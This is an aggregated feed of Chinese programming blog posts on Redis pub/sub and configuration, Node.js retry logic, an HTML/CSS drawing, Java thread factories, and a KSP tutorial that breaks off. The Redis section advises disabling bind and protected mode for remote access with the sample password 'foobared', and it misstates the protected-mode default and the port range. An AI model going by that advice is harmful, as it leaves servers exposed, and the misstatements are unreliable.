在这里插入图片描述

  1. PUBSUB <subcommand> [argument [argument …]]是一个查看订阅与发布系统状态的内省命令,

在这里插入图片描述

代码示例:

# client-1 订阅 news.it 和 news.sport 两个频道

client-1> SUBSCRIBE news.it news.sport
Reading messages... (press Ctrl-C to quit)
1) "subscribe"
2) "news.it"
3) (integer) 1
1) "subscribe"
2) "news.sport"
3) (integer) 2

# client-2 订阅 news.it 和 news.internet 两个频道

client-2> SUBSCRIBE news.it news.internet
Reading messages... (press Ctrl-C to quit)
1) "subscribe"
2) "news.it"
3) (integer) 1
1) "subscribe"
2) "news.internet"
3) (integer) 2

# 首先, client-3 打印所有活跃频道
# 注意,即使一个频道有多个订阅者,它也只输出一次,比如 news.it

client-3> PUBSUB CHANNELS
1) "news.sport"
2) "news.internet"
3) "news.it"

# 接下来, client-3 打印那些与模式 news.i* 相匹配的活跃频道
# 因为 news.sport 不匹配 news.i* ,所以它没有被打印

redis> PUBSUB CHANNELS news.i*
1) "news.internet"
2) "news.it"

4. Redis 命令行实现发布和订阅

4.1 一个发布者,多个订阅者演示

在这里插入图片描述

在这里插入图片描述

让 client01 ,client02 两个客户端都订阅上 channel1 频道。

127.0.0.1:6379> subscribe channel1  # 让客户端订阅 channel1频道

在这里插入图片描述

当订阅上了一个频道,就会实时监听该频道的存在的内容。所以我们想要退出的话,可以 Ctrl + C 或者 quit

在这里插入图片描述

在这里插入图片描述

让 client02 也订阅上channel 频道,进行接收消息。

127.0.0.1:6379> subscribe channel1

在这里插入图片描述

两个 Client 客户端都订阅上了 channel1 频道了。

在这里插入图片描述

接下来,让 publish 客户端向 channel1 频道发送信息。看看 ,client01 ,client02 两个订阅了 channel1的客户端是否会监听到 发送的信息。

127.0.0.1:6379> publish channel1 "hello,jack" 

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

4.2 多个发布者,一个订阅者演示

在这里插入图片描述

这里我们演示:让 client01 客户端通过订阅 channel1 频道,实时监听/接收: publish01和 publish02 向 channel 发送的信息。

在这里插入图片描述

127.0.0.1:6379> subscribe channel1

在这里插入图片描述

127.0.0.1:6379> publish channel1 "hello tom"
127.0.0.1:6379> publish channel1 "hello lihua"

在这里插入图片描述

在这里插入图片描述


4.3 多个发布者,多个订阅者演示

在这里插入图片描述

让 publish01,publish01两个客户端都向 channel1 频道发送消息,client01 和 client02 都订阅 channel1 频道,接收/监听该 (channel1) 频道的信息。

在这里插入图片描述


127.0.0.1:6379> subscribe channel1
127.0.0.1:6379> subscribe channel1
# 返回的是订阅者的数量

在这里插入图片描述

127.0.0.1:6379> publish channel1 "hello AAA"
127.0.0.1:6379> publish channel1 "BBB"

在这里插入图片描述

在这里插入图片描述

5. 注意事项:

  1. publish 同一时刻只能向一个 channel 频道发送信息,不可以多个。

在这里插入图片描述

  1. subscribe 命令可以同一时刻订阅多个 channel 频道。 返回的是订阅者的数量。

在这里插入图片描述

在这里插入图片描述

  1. 发布的消息没有持久化,所以订阅的客户端, 只能收到订阅后发布的消息。无法接收该客户端还没订阅上时已经发布的消息(错过的消息 )。

6. 最后:

“在这个最后的篇章中,我要表达我对每一位读者的感激之情。你们的关注和回复是我创作的动力源泉,我从你们身上吸取了无尽的灵感与勇气。我会将你们的鼓励留在心底,继续在其他的领域奋斗。感谢你们,我们总会在某个时刻再次相遇。”

在这里插入图片描述

by RainbowSea at January 31, 2025 01:52 AM

五. Redis 配置内容(详细配置说明)

五. Redis 配置内容(详细配置说明)

@[toc]


关于 Redis 配置文件的文档说明:www.cnblogs.com/nhdlb/p/140…

在这里插入图片描述

Redis 的配置的内容,都是在 /etc/redis.conf 这个文件当中进行配置设置的。

在这里插入图片描述

在这里插入图片描述

redis.conf 配置内容有很多很多,这里我们讲解一些比较常用的一些配置信息。

1. Units 单位配置

在这里插入图片描述

:set number   # 在 vim 工具当中 ,表示显示行号
  1. 配置大小单位,开头定义了一些基本的度量单位,只支持 bytes(字节) ,不支持 bit(比特),这是默认的,大家可以更加需要自行修改。
  2. 默认是不区分大小写的,对于命令来说,这个也是大家可以自行修改配置的。

2. INCLUDES (包含)配置

在这里插入图片描述

该配置信息表示:多实例的情况可以把公用的配置文件提取出来,然后 include 导入

3. NETWORK (网络)配置

3.1 bind(配置访问内容)

在这里插入图片描述

 bind 127.0.0.1 -::1
  1. 默认情况 bind 127.0.0.1 表示只能接收本地(本机)的访问请求,其它的主机是无法访问的。
  2. 如果服务器是需要远程访问的,需要将其注释掉。
  3. 这里,我们可以启动 redis ,查看当前允许连接的情况。

在这里插入图片描述

注销 bind , 重新启动 redis, 再查看当前允许连接的情况。

在这里插入图片描述

注意: 需要将 Redis 服务器,关闭了,再重启后,配置才能生效。

[root@localhost ~]# redis-cli  -p 6379 shutdown

在这里插入图片描述

在这里插入图片描述

3.2 protected-mode (保护模式)

在这里插入图片描述

默认是保护模式,也就是 protected-mode no

如果服务器是需要远程访问的, 需要将 yes 设置为 no 在这里插入图片描述

3.3 port(端口)配置

在这里插入图片描述

Redis 服务默认端口 6379,可以自行修改,但是注意要在 655535 的范围。

3.4 timeout(客户端超时时间)配置

如图默认配置:

在这里插入图片描述

 timeout 0

一个空闲的客户端维持多少秒会关闭,0 表示关闭该功能, 即永不超时 。大家可以根据需要自行修改。

3.5 tcp-keepalive()配置

在这里插入图片描述

tcp-keepalive 300
  1. tcp-keepalive 是对访问客户端的一种心跳检测,每隔 n 秒检测一次,单位为秒。
  2. 如果设置为 0 ,则不会进行 keepalive 检测,建议设置成 60

为什么需要心跳检测机制:

  1. TCP 协议中有长连接短连接 之分。短连接 环境下,数据交互完毕后,主动释放连接。
  2. 长连接 的环境下,进行一次数据交互后,很长一段时间内无数据交互时,客户端可能意外断开,这些 TCP 连接并未来得及正常释放 ,那么,连接的另一方并不知道对端的情况。就会一直维护这个连接,长时间的积累会导致非常多的半打开连接,造成端系统资源的消耗和浪费,且有可能导致在一个无效的数据链路层面发送业务数据,结果就是发送失败。所以服务端要做到快速感知失败,减少无效链接操作,这就有了 TCPKeepalive(保活探测) 机制

在这里插入图片描述

tcp-keepalive 10

配置成功后,需要重启 Redis 服务才会生效。

[root@localhost etc]# redis-cli -p 6379 shutdown

4. GENERAL 通用配置

4.1 daemonize(后台启动)配置

在这里插入图片描述

daemonize yes
  1. 是否为后台进程,设置为 yes
  2. 设置为 yes 后, 表示守护进程, 后台启动

4.2 pidfile(pid 文件存在路径)配置

在这里插入图片描述

 pidfile /var/run/redis_6379.pid

存放 pid 文件的位置,每个实例会产生一个不同的 pid 文件, 记录 redis 的进程号

在这里插入图片描述

[root@localhost run]# ps -ef | grep redis
[root@localhost run]# cat redis_6379.pid 

在这里插入图片描述

[root@localhost run]# ps -aux | grep sshd

在这里插入图片描述

4.3 loglevel(日志级别)配置

在这里插入图片描述

loglevel notice

Redis 日志分为 4 个级别,默认的设置为 notice,开发测试阶段可以用 debug(日志内容较多,不建议生产环境使用),生产模式一般选用 notice

Redis 日志级别为如下 4 种

  1. debug :会打印很多信息,适用于开发和测试阶段。
  2. verbose(冗长的) :包含很多不太有用的信息,但比 debug 要清爽一些。
  3. notice :适用于生产模式。
  4. warning :警告信息。

在这里插入图片描述

127.0.0.1:6379> config get loglevel

4.4 logfile(日志文件)配置

在这里插入图片描述

logfile ""
  1. logfile "" 就是说,默认为控制台打印,并没有日志文件生成
  2. 可以为 redis.conf 的 logfile 指定配置项。如下:
 logfile "/var/log/redis/redis.log"

在这里插入图片描述

修改了配置文件,需要重启 redis 才会生成。 在这里插入图片描述

127.0.0.1:6379> config get logfile

4.5 databases 16(仓库数量)配置

在这里插入图片描述

databases 16
  1. 设定库的数量,默认是16个,默认数据库为 0 号,数据库索引是从 0 开始的
  2. 可以适用 select<dbid> 命令在连接上指定数据库 id

在这里插入图片描述

5. SECURITY 安全配置

SECURITY 安全配置,就是为 Redis 客户端登录的时候,设置密码。

在 Redis 当中,设置密码有两种方式:

5.1 在 redis.conf 配置文件当中设置密码(永久)

在这里插入图片描述

# requirepass foobared

这里我们测试,将注释去掉,适用这个 foobared 作为密码。

 requirepass foobared

在这里插入图片描述

修改了配置,需要重启 Redis 服务,才会生效。

在这里插入图片描述

在这里插入图片描述

127.0.0.1:6379> auth foobared 
127.0.0.1:6379> auth 密码   # 登录 redis 客户端,使用密码

在这里插入图片描述

在这里插入图片描述

127.0.0.1:6379> acl list
# 注意:需要进入到 Redis 客户端

在这里插入图片描述

127.0.0.1:6379> acl whoami 
# 注意:需要进入到 Redis 客户端

在这里插入图片描述

5.3 在 命令行设置密码

在这里插入图片描述

127.0.0.1:6379> config get requirepass

在这里插入图片描述

在这里插入图片描述

127.0.0.1:6379> config set requirepass rainbowsea

6. LIMITS 限制配置

6.1 maxclients(客户端连接数)配置

在这里插入图片描述

  1. 设置 Redis 同时可以与多少个客户端进行连接(包括远程连接)

  2. 默认情况下为 10000 个客户端。

  3. 如果达到了此限制,redis 会拒绝新的连接请求,并且向这些连接请求方发出 “max number of clients reached”

  4. 注意一点的是:当超过连接数目了,你可以进入到 Redis 客户端,但是的命令是不会被 Redis 执行的,并提示 “max number of clients reached”

6.2 maxmemory(Redis 最大占用内存)配置

在这里插入图片描述

# maxmemory <bytes>
  1. 在默认情况下, 对 32 位 实例会限制在 3 GB, 因为 32 位的机器最大只支持 4GB 的 内存,而系统本身就需要一定的内存资源来支持运行,所以 32 位机器限制最大 3 GB 的 可用内存是非常合理的,这样可以避免因为内存不足而导致 Redis 实例崩溃
  2. 在默认情况下, 对于 64 位实例是没有限制
  3. 当用户开启了 redis.conf 配置文件的 maxmemory 选项,那么 Redis 将限制选项的值 不能小于 1 MB

maxmemory 设置的建议:

  1. Redis 的 maxmemory 设置取决于使用情况, 有些网站只需要 32MB,有些可能需要 12GB
  2. maxmemory 只能根据具体的生产环境来调试,不要预设一个定值,从小到大测试, 基本标准是不干扰正常程序的运行。
  3. Redis 的最大使用内存跟搭配方式有关,如果只是用 Redis 做纯缓存, 64-128M 对一般小 型网站就足够了
  4. 如果使用 Redis 做数据库的话,设置到物理内存的 1/2 到 3/4 左右都可以
  5. 如果使用了快照功能的话,最好用到 50%以下,因为快照复制更新需要双倍内存空间, 如果没有使用快照而设置 redis 缓存数据库,可以用到内存的 80%左右,只要能保证 Java、 NGINX 等其它程序可以正常运行就行了

6.3 maxmemory-policy(Redis内存不够的算法配置处理)配置

在这里插入图片描述

 # maxmemory-policy noevictio

policy 可以配置如下选项:

  1. volatile-lru:使用 LRU 算法移除 key,只对设置了过期时间的键;(最近最少使用)
  2. allkeys-lru:在所有集合 key 中,使用 LRU 算法移除 key
  3. volatile-random:在过期集合中移除随机的 key,只对设置了过期时间的键
  4. allkeys-random:在所有集合 key 中,移除随机的 key
  5. volatile-ttl:移除那些 TTL 值最小的 key,即那些最近要过期的 key
  6. noeviction:不进行移除。针对写操作,只是返回错误信息

无论是选择那种配置,都会丢失数据,所以,尽量还是设置好合适的 Redis 内存,方式内存不够用

6.4 maxmemory-samples(内存算法处理的比较样本) 配置

在这里插入图片描述

# maxmemory-samples 5
  1. 设置样本数量,LRU 算法和最小 TTL 算法都并非是精确的算法,而是估算值,所以你可 以设置样本的大小,redis 默认会检查这么多个 key 并选择其中 LRU 的那个。
  2. 一般设置 3 到 7 的数字,数值越小样本越不准确,但性能消耗越小。

举例理解:

简单的比较就是:当你在 8W 个人当中,找到身高 180 的人,很费时间和精力。但是当让你从 10,100个人当中找 身高 180的人,那就更简单了。简单的理解就是一个参考的样本。参考的数量越多精确度越高,但是成本也就越高。参考的数量少的,精确的就越低,但是消耗的成本却更低。

7. 总结:

  1. 注意: 上述的所有配置都需要将 Redis 服务器,关闭了,再重启后,配置才能生效。
  2. 查看 redis.conf 配置文件的信息,可以进入到 Redis 客户端后,使用 config get 配置属性/信息 命令。注意: 需要先进入到 Redis 客户端才行。

在这里插入图片描述

127.0.0.1:6379> config get loglevel
1) "loglevel"
2) "notice"
127.0.0.1:6379> config get logfile
1) "logfile"
2) ""

  1. 在命令行当中设置 redis.conf 配置文件的信息,可以进入到 Redis 客户端后,使用 config set 配置属性/信息 命令。注意: 需要先进入到 Redis 客户端才行。同时因为是在 客户端命令设置的配置信息,那么退出了客户端,该命令行配置的信息就都失效了。

在这里插入图片描述

127.0.0.1:6379> config set requirepass rainbowsea

在这里插入图片描述

在这里插入图片描述

127.0.0.1:6379> auth rainbowsea

在这里插入图片描述

127.0.0.1:6379> config get requirepass

8. 最后:

“在这个最后的篇章中,我要表达我对每一位读者的感激之情。你们的关注和回复是我创作的动力源泉,我从你们身上吸取了无尽的灵感与勇气。我会将你们的鼓励留在心底,继续在其他的领域奋斗。感谢你们,我们总会在某个时刻再次相遇。”

在这里插入图片描述

by RainbowSea at January 31, 2025 01:43 AM

juejin frontend

深入浅出:Node.js高级重试机制

在分布式系统中,优雅地处理异常是构建可靠应用程序的关键。无论是网络抖动、服务暂时不可用,还是数据库连接超时,这些短暂的故障都可能让系统陷入混乱。而重试模式,作为一种经典的设计模式,正是解决这些问题的利器。今天,我们将深入探讨如何在 Node.js 中实现高级重试机制,并分享一些实用的策略和最佳实践。


什么是重试模式?

重试模式是一种用于提高系统稳定性的设计模式。它的核心思想是:在面对短暂的故障时,不要轻易放弃,而是尝试重新执行操作。这种模式特别适用于云环境,因为云服务中的临时网络故障、服务不可用和超时是家常便饭。

举个例子:假设你正在使用一个云服务来存储和检索用户数据。由于网络波动或服务端的临时问题,你的请求可能会偶尔失败。如果没有重试机制,一旦请求失败,应用程序就会直接报错,用户体验会大打折扣。而有了重试模式,应用程序会在第一次失败后等待一段时间,然后再次尝试发送请求。如果第二次仍然失败,它可能会继续重试,直到达到预设的最大重试次数。这样,即使在云环境中遇到短暂的故障,你的应用程序也有可能成功完成操作,从而提高了系统的稳定性和可靠性。


从基础到高级:重试模式的实现

基础实现:简单的重试逻辑

我们先从一个简单的重试实现开始。以下代码展示了如何在 Node.js 中实现一个基础的重试机制:

async function basicRetry(fn, retries = 3, delay = 1000) {
    try {
        return await fn();
    } catch (error) {
        if (retries <= 0) throw error;
        await new Promise(resolve => setTimeout(resolve, delay));
        return basicRetry(fn, retries - 1, delay);
    }
}

const fetchData = async () => {
    return basicRetry(async () => {
        const response = await fetch('https://api.example.com/data');
        return response.json();
    });
};

这段代码的核心逻辑是:如果操作失败,等待一段时间后重试,直到达到最大重试次数。虽然这种实现简单直接,但它已经能够应对大多数短暂的故障。


高级策略 1:指数退避

在分布式系统中,简单的固定延迟重试可能会导致“重试风暴”,即大量请求在同一时间重试,进一步加剧系统负载。为了避免这种情况,我们可以使用指数退避策略。指数退避的核心思想是:每次重试的延迟时间呈指数增长,从而分散重试请求的压力。

以下是一个指数退避的实现:

class ExponentialBackoffRetry {
    constructor(options = {}) {
        this.baseDelay = options.baseDelay || 1000;
        this.maxDelay = options.maxDelay || 30000;
        this.maxRetries = options.maxRetries || 5;
        this.jitter = options.jitter || true;
    }

    async execute(fn) {
        let retries = 0;
        while (true) {
            try {
                return await fn();
            } catch (error) {
                if (retries >= this.maxRetries) {
                    throw new Error(`Failed after ${retries} retries: ${error.message}`);
                }
                const delay = this.calculateDelay(retries);
                await this.wait(delay);
                retries++;
            }
        }
    }

    calculateDelay(retryCount) {
        let delay = Math.min(
            this.maxDelay,
            Math.pow(2, retryCount) * this.baseDelay
        );
        if (this.jitter) {
            delay = delay * (0.5 + Math.random());
        }
        return delay;
    }

    wait(ms) {
        return new Promise(resolve => setTimeout(resolve, ms));
    }
}

在这个实现中,每次重试的延迟时间会随着重试次数的增加而指数增长。同时,我们还引入了**抖动(Jitter)**机制,通过随机化延迟时间来避免多个请求在同一时间重试。


高级策略 2:与断路器模式集成

重试模式虽然强大,但如果目标服务完全不可用,无限制的重试只会浪费资源。为了避免这种情况,我们可以将重试模式与断路器模式结合使用。断路器模式的核心思想是:当失败次数达到一定阈值时,暂时停止重试,直接返回错误

以下是一个断路器模式的实现:

class CircuitBreaker {
    constructor(options = {}) {
        this.failureThreshold = options.failureThreshold || 5;
        this.resetTimeout = options.resetTimeout || 60000;
        this.failures = 0;
        this.state = 'CLOSED';
        this.lastFailureTime = null;
    }

    async execute(fn) {
        if (this.state === 'OPEN') {
            if (Date.now() - this.lastFailureTime >= this.resetTimeout) {
                this.state = 'HALF_OPEN';
            } else {
                throw new Error('Circuit breaker is OPEN');
            }
        }

        try {
            const result = await fn();
            if (this.state === 'HALF_OPEN') {
                this.state = 'CLOSED';
                this.failures = 0;
            }
            return result;
        } catch (error) {
            this.failures++;
            this.lastFailureTime = Date.now();
            if (this.failures >= this.failureThreshold) {
                this.state = 'OPEN';
            }
            throw error;
        }
    }
}

在这个实现中,当失败次数达到阈值时,断路器会进入“打开”状态,停止所有重试操作。经过一段时间后,断路器会进入“半开”状态,尝试恢复操作。如果操作成功,断路器会恢复到“关闭”状态;如果失败,则继续保持“打开”状态。


高级策略 3:综合重试系统

为了充分发挥重试模式和断路器模式的优势,我们可以将它们结合起来,构建一个综合的重试系统。以下是一个高级重试系统的实现:

class AdvancedRetrySystem {
    constructor(options = {}) {
        this.retrier = new ExponentialBackoffRetry(options.retry);
        this.circuitBreaker = new CircuitBreaker(options.circuitBreaker);
        this.logger = options.logger || console;
    }

    async execute(fn, context = {}) {
        const startTime = Date.now();
        let attempts = 0;
        try {
            return await this.circuitBreaker.execute(async () => {
                return await this.retrier.execute(async () => {
                    attempts++;
                    try {
                        const result = await fn();
                        this.logSuccess(context, attempts, startTime);
                        return result;
                    } catch (error) {
                        this.logFailure(context, attempts, error);
                        throw error;
                    }
                });
            });
        } catch (error) {
            throw new RetryError(error, attempts, Date.now() - startTime);
        }
    }

    logSuccess(context, attempts, startTime) {
        this.logger.info({
            event: 'retry_success',
            context,
            attempts,
            duration: Date.now() - startTime
        });
    }

    logFailure(context, attempts, error) {
        this.logger.error({
            event: 'retry_failure',
            context,
            attempts,
            error: error.message
        });
    }
}

class RetryError extends Error {
    constructor(originalError, attempts, duration) {
        super(originalError.message);
        this.name = 'RetryError';
        this.originalError = originalError;
        this.attempts = attempts;
        this.duration = duration;
    }
}

这个综合系统不仅支持指数退避和断路器模式,还提供了详细的日志记录功能,帮助我们更好地监控和优化重试策略。


最佳实践与注意事项

  1. 幂等性:确保你正在重试的操作是幂等的。这意味着多次重试相同的操作应与执行一次具有相同的效果。
  2. 监控与日志记录:实施全面的日志记录,以跟踪重试尝试、成功率和失败模式。这有助于识别系统性问题并优化重试策略。
  3. 超时管理:始终为单次尝试实现超时,以防止挂起的操作:
async function withTimeout(promise, timeoutMs) {
    const timeoutPromise = new Promise((_, reject) => {
        setTimeout(() => reject(new Error('Operation timed out')), timeoutMs);
    });
    return Promise.race([promise, timeoutPromise]);
}
  1. 资源清理:确保在重试后正确清理资源,尤其是在处理数据库连接或文件句柄时。

实际应用示例

以下是如何在实际场景中使用高级重试系统的示例:

const retrySystem = new AdvancedRetrySystem({
    retry: {
        baseDelay: 1000,
        maxDelay: 30000,
        maxRetries: 5
    },
    circuitBreaker: {
        failureThreshold: 5,
        resetTimeout: 60000
    }
});

async function fetchUserData(userId) {
    return retrySystem.execute(
        async () => {
            const user = await db.users.findById(userId);
            if (!user) throw new Error('User not found');
            return user;
        },
        { operation: 'fetchUserData', userId }
    );
}

async function updateUserProfile(userId, data) {
    return retrySystem.execute(
        async () => {
            const response = await fetch(`/api/users/${userId}`, {
                method: 'PUT',
                body: JSON.stringify(data)
            });
            if (!response.ok) throw new Error('API request failed');
            return response.json();
        },
        { operation: 'updateUserProfile', userId }
    );
}

总结

在 Node.js 中实现可靠的重试逻辑是构建弹性系统的关键。通过结合指数退避、断路器模式和详细的日志记录,我们可以创建复杂的重试机制,优雅地处理故障,同时防止系统过载。

记住,重试逻辑应根据应用程序的具体需求和操作的性质进行谨慎实施。始终根据实际性能和故障模式监控并调整重试策略。希望这篇文章能帮助你更好地理解和应用重试模式,构建更加健壮的分布式系统!

by 叶知秋水 at January 31, 2025 01:24 AM

January 30, 2025

juejin career

使用html画一个热气球

使用 HTML 画一个热气球

引言

热气球是一种通过加热空气来提供升力的飞行器。在网页设计中,我们可以使用 HTML 和 CSS 将其简单地呈现出来。本文将指导您如何使用基础的 HTML 和 CSS 创建一个热气球的简单图形。

HTML 结构

首先,我们需要定义热气球的基本 HTML 结构。我们将使用一个 div 元素作为热气球的主体,另一个 div 作为热气球的篮子。下面是基本的 HTML 代码:

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>热气球</title>
    <link rel="stylesheet" href="styles.css">
</head>
<body>
    <div class="balloon">
        <div class="basket"></div>
    </div>
</body>
</html>

在这段代码中,我们创建了一个包含热气球和篮子的结构。

CSS 样式

接下来,我们需要为热气球和篮子添加样式。我们可以使用 CSS 的边框、背景颜色和圆角等属性来实现。这是相应的 CSS 代码:

body {
    display: flex;
    justify-content: center; /* 居中 */
    align-items: center; /* 垂直居中 */
    height: 100vh; /* 全屏高度 */
    background-color: #87CEEB; /* 背景色,模拟天空 */
    margin: 0;
}

.balloon {
    position: relative; /* 使篮子相对于气球定位 */
    width: 100px; /* 气球宽度 */
    height: 140px; /* 气球高度 */
    background: linear-gradient(to bottom, #FF4500, #FF6347); /* 渐变色 */
    border-radius: 50% 50% 0 0; /* 圆角效果 */
    box-shadow: 0 0 10px rgba(0, 0, 0, 0.5); /* 阴影效果 */
}

.basket {
    position: absolute; /* 固定篮子位置 */
    bottom: -20px; /* 调整篮子位置 */
    left: 50%; /* 水平居中 */
    transform: translateX(-50%); /* 使其真正居中 */
    width: 60px; /* 篮子宽度 */
    height: 20px; /* 篮子高度 */
    background-color: #8B4513; /* 棕色 */
    border-radius: 5px; /* 圆角效果 */
    box-shadow: 0 0 5px rgba(0, 0, 0, 0.5); /* 阴影效果 */
}

解释 CSS

  1. 背景与布局

    • body 采用了 Flexbox 布局,使热气球在页面中垂直和水平居中。
    • background-color 设置为天空的颜色(淡蓝色)。
  2. 热气球

    • balloon 使用了渐变背景来模拟热气球的颜色。
    • border-radius 属性用于将气球的顶部变成圆形。
  3. 篮子

    • basket 使用 position: absolute; 使其相对于热气球定位。
    • 使用 transform: translateX(-50%); 来确保篮子在气球的中间。

完整代码示例

将上述 HTML 和 CSS 代码结合在一起,您将得到一个完整的热气球示例:

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>热气球</title>
    <style>
        body {
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            background-color: #87CEEB;
            margin: 0;
        }

        .balloon {
            position: relative;
            width: 100px;
            height: 140px;
            background: linear-gradient(to bottom, #FF4500, #FF6347);
            border-radius: 50% 50% 0 0;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.5);
        }

        .basket {
            position: absolute;
            bottom: -20px;
            left: 50%;
            transform: translateX(-50%);
            width: 60px;
            height: 20px;
            background-color: #8B4513;
            border-radius: 5px;
            box-shadow: 0 0 5px rgba(0, 0, 0, 0.5);
        }
    </style>
</head>
<body>
    <div class="balloon">
        <div class="basket"></div>
    </div>
</body>
</html>

总结

通过使用简单的 HTML 和 CSS,我们成功绘制了一个热气球。您可以根据需要调整气球的颜色、大小和位置,以创建不同风格的热气球。这样的练习不仅能帮助您熟悉 CSS 布局和样式的应用,还能激发您的创造力,设计出更多有趣的图形。

by Riesenzahn at January 30, 2025 10:26 PM

juejin backend

为什么 ThreadPoolExecutor 依赖工厂模式?这篇文章告诉你

工厂模式:线程池中的设计智慧

在软件设计领域,工厂模式(Factory Pattern) 是一种经典的创建型设计模式。它通过定义一个创建对象的接口,将具体对象的创建过程封装起来,从而将对象的创建与使用解耦,极大地提高了代码的灵活性和可扩展性

工厂模式的核心思想是:将实例化对象的逻辑封装到工厂类中,而不是在代码中直接使用 new 关键字创建对象。这样,开发者在需要创建新对象时,只需要调用工厂方法,而不需要关心对象的具体实现。这不仅提升了代码的可维护性,也使得程序能够更容易适应未来的扩展需求。

工厂模式在 Java 线程池中的应用

在 Java 生态中,线程池(Thread Pool) 是并发编程的基石,它通过复用线程资源来避免频繁创建和销毁线程,从而减少性能开销,提高系统的并发能力。而 ThreadPoolExecutor 作为 Java 并发包 java.util.concurrent 中最核心的线程池实现,正是工厂模式应用的典型案例

ThreadPoolExecutor 的设计中,线程的创建是由 ThreadFactory 工厂接口 负责的,而非直接在 ThreadPoolExecutor 内部 new Thread() 生成。这种设计解耦了线程池与具体线程的创建逻辑,使得开发者可以通过自定义 ThreadFactory 来控制线程的创建行为。

ThreadFactory:线程池的“造线程工厂”

ThreadFactory 是 Java 提供的一个 函数式接口,其核心方法如下:

public interface ThreadFactory {
    Thread newThread(Runnable r);
}

这个接口的作用就是为线程池提供统一的线程创建机制,默认实现是 Executors.defaultThreadFactory(),但在很多实际场景中,我们需要自定义 ThreadFactory,比如:

  • 为线程设置更高的优先级(如高并发任务)
  • 给线程赋予有意义的名称(方便日志追踪和排查问题)
  • 创建守护线程(在 JVM 退出时自动关闭)
  • 对线程进行异常捕获(防止线程意外终止)

自定义 ThreadFactory 的优势

默认情况下,ThreadPoolExecutor 使用的线程工厂较为简单,创建的线程没有自定义名称、默认优先级、非守护线程。然而,在高并发业务场景下,这种默认实现往往不能满足需求。因此,我们可以通过自定义 ThreadFactory,实现更灵活、更符合业务需求的线程管理。

1. 设置线程优先级

线程优先级(Thread Priority)决定了线程在 CPU 调度中的执行权重。虽然 Java 的线程优先级不能完全控制线程的执行顺序,但合理的设置有助于优化性能,例如:

  • 实时任务(如金融交易系统)可设置较高优先级
  • 后台任务(如日志收集)可设置较低优先级

2. 自定义线程名称

在生产环境中,日志是排查问题的关键。默认线程名称往往缺乏可读性,而自定义线程名称后,可以直接在日志中定位到问题线程,极大提升运维效率。例如:

Thread thread = new Thread(r, "MyPool-Thread-" + threadNumber.getAndIncrement());

这样,日志中会显示 MyPool-Thread-1,而不是 Thread-0,直观且易查。

3. 指定线程类型(用户线程 vs 守护线程)

  • 用户线程(User Thread):普通线程,需要手动管理生命周期,程序不会因其结束而终止。
  • 守护线程(Daemon Thread):后台线程,JVM 退出时自动回收,适用于日志收集、监控任务等

示例代码:自定义 ThreadFactory

以下代码实现了一个可配置的 ThreadFactory,能够自定义线程名称、优先级、守护模式

import java.util.concurrent.ThreadFactory;
import java.util.concurrent.atomic.AtomicInteger;

public class CustomThreadFactory implements ThreadFactory {
    private final String threadNamePrefix; // 线程名称前缀
    private final int threadPriority; // 线程优先级
    private final boolean daemon; // 是否为守护线程
    private final AtomicInteger threadNumber = new AtomicInteger(1); // 线程编号

    public CustomThreadFactory(String threadNamePrefix, int threadPriority, boolean daemon) {
        this.threadNamePrefix = threadNamePrefix;
        this.threadPriority = threadPriority;
        this.daemon = daemon;
    }

    @Override
    public Thread newThread(Runnable r) {
        Thread thread = new Thread(r, threadNamePrefix + "-" + threadNumber.getAndIncrement());
        thread.setPriority(threadPriority); // 设置线程优先级
        thread.setDaemon(daemon); // 设置线程类型
        return thread;
    }
}

如何使用自定义 ThreadFactory

我们可以在创建 ThreadPoolExecutor 时传入 CustomThreadFactory,这样线程池中的线程就会按照我们定义的方式创建:

import java.util.concurrent.*;

public class ThreadPoolDemo {
    public static void main(String[] args) {
        // 创建线程池,并使用自定义 ThreadFactory
        ExecutorService executor = new ThreadPoolExecutor(
            2, 4, 60L, TimeUnit.SECONDS,
            new LinkedBlockingQueue<>(),
            new CustomThreadFactory("Worker", Thread.NORM_PRIORITY, false)
        );

        // 提交任务
        for (int i = 0; i < 5; i++) {
            executor.execute(() -> System.out.println(Thread.currentThread().getName() + " 正在执行任务"));
        }

        // 关闭线程池
        executor.shutdown();
    }
}

示例运行结果(线程名称可见):

Worker-1 正在执行任务
Worker-2 正在执行任务
Worker-3 正在执行任务
Worker-4 正在执行任务
Worker-5 正在执行任务

通过 CustomThreadFactory,我们可以清晰看到线程池中的线程名称,便于管理和调试。


总结

工厂模式在 ThreadPoolExecutor 的应用,是设计模式在实际开发中的经典案例。它不仅增强了线程创建的灵活性,还提升了代码的可维护性。通过自定义 ThreadFactory,我们可以:

  1. 提升线程管理的灵活性(如控制线程优先级)
  2. 优化程序可读性(通过自定义线程名称更易排查问题)
  3. 提高应用的稳定性(设置守护线程、异常捕获等)

在实际开发中,我们应该深刻理解设计模式的价值,并在合适的场景下灵活运用,从而提升代码质量和系统性能。

by 齐朋 at January 30, 2025 04:55 PM

juejin android

一文了解 ksp 的使用

在之前的文章一文了解 apt、 kapt 、 ksp 和 kcp 中,我们介绍了 apt、kapt、KSP 以及 kcp 的区别,这篇文章将介绍 ksp的使用。

创建模块

首先我们需要先创建一个 Java or Kotlin Library 模块,如下图所示:

屏幕截图 2025-01-30 225303.png

创建完模块后,在 ksp 模块下的 build.gradle.kts 文件中增加如下的配置:

plugins {
    kotlin("jvm")
}

dependencies {
    implementation("com.google.devtools.ksp:symbol-processing-api:1.9.0-1.0.11")
    implementation("com.squareup:kotlinpoet-ksp:1.18.1")
}

其中 com.google.devtools.ksp:symbol-processing-api 是 ksp 提供的功能接口,而 1.9.0-1.0.111.9.0 是指 KSP 插件所依赖的 Kotlin 语言或者相关基础库的版本,而1.0.11 表示是 KSP 插件自身的版本。所有支持的 ksp 版本可以见 Ksp Releases

创建 SymbolProcessorProvider 和 SymbolProcessor

在 Ksp 中,具体的代码生成逻辑是通过 SymbolProcessorProviderSymbolProcessor 来实现的。这里以实现一个 打印使用了 @TestFind 注解的函数的类名和函数名的类 为例。

首先我们先创建一个@TestFind注解,ksp 通过这个注解来获取使用该注解的类名和函数名:

annotation class TestFind()

然后实现 SymbolProcessorProvider 接口,它的作用是 SymbolProcessorEnvironment 的提供者。代码示例如下:

/**
